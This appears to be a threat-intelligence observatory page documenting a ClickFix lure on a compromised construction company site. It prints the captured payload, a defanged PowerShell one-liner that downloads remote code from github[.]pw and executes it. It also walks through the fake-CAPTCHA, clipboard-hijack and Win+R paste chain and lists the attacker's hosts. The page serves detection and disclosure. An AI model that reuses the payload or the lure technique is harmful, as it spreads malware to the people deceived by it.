clickfix.observerby Passguard

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Lures10787

17 Nov 2026

16 Nov 2026

…

10787 lures · page /216

soporte5.jlmarketing.com.mx

https://soporte5[.]jlmarketing[.]com[.]mx/

Page title

Grupo CID | Constructora

As captured from the lure page

Host

192[.]185[.]131[.]124

Scanned

17 Nov 2026, 11:53

Victim saw

Win+R instruction UI

delivery via github.pw

Visual capture

Before and after lure interaction

Website before any user interaction

After CAPTCHA / lure interaction

Evidence

Payload and capture metadata

Extracted payload

(irm 'https://github[.]pw/wp/a99138664d16b6b2')|iex

Resolved download URL

  • https://github[.]pw/wp/a99138664d16b6b2

This is a staged command. It is defanged.

Capture information

Scanned
17 Nov 2026, 11:53
Captured on
Windows 10 · Chrome
Payload source
Browser clipboard after automated interaction

How this attack works

Attack chain from lure surface to payload delivery

Clipboard stager·Injected scripts on soporte5.jlmarketing.com.mx stage a clipboard payload and social-engineer the visitor into pasting it into the Windows Run dialog. Delivery observed via github.pw.

  1. 1

    Compromised site loads the lure

    Visitors reach soporte5.jlmarketing.com.mx - a legitimate page that now embeds third-party JavaScript. The injector pulls the ClickFix kit from an external delivery host instead of showing the attack immediately.

    Victim URLhttps://soporte5[.]jlmarketing[.]com[.]mx/
  2. 2

    External delivery scripts

    Third-party scripts from github.pw attach the fake challenge UI and stage the clipboard payload.

    Delivery hosthttps://github[.]pw/
  3. 3

    Victim clicks the fake captcha

    After the visitor checks the box, the overlay advances to a step-by-step panel (often branded as Skype, Cloudflare, or a “verification” wizard).

    Screenshot evidencebefore=challenge · after=instructions
  4. 4

    Win+R → Ctrl+V → Enter

    The panel instructs the victim to press Win+R, paste from the clipboard, and press Enter. The malicious command never appears in the browser address bar - only in the Run dialog.

  5. 5

    Clipboard is primed with the payload

    The kit hooks navigator.clipboard.writeText so the PowerShell one-liner is already on the clipboard when the victim reaches the paste step.

    Browser APInavigator.clipboard.writeText(payload)
  6. 6

    PowerShell downloads and runs malware

    PowerShell one-liner downloads and executes a staged binary from the delivery host

    Staged command(irm 'https://github[.]pw/wp/a99138664d16b6b2')|iex

Infrastructure

3 hosts

Lure

Where the visitor lands

soporte5.jlmarketing.com.mx

Victim

Delivery

Serves the ClickFix kit

github.pw

Delivery

192[.]185[.]131[.]124

IP

Payload

What the command fetches

https://github[.]pw/wp/a99138664d16b6b2

Payload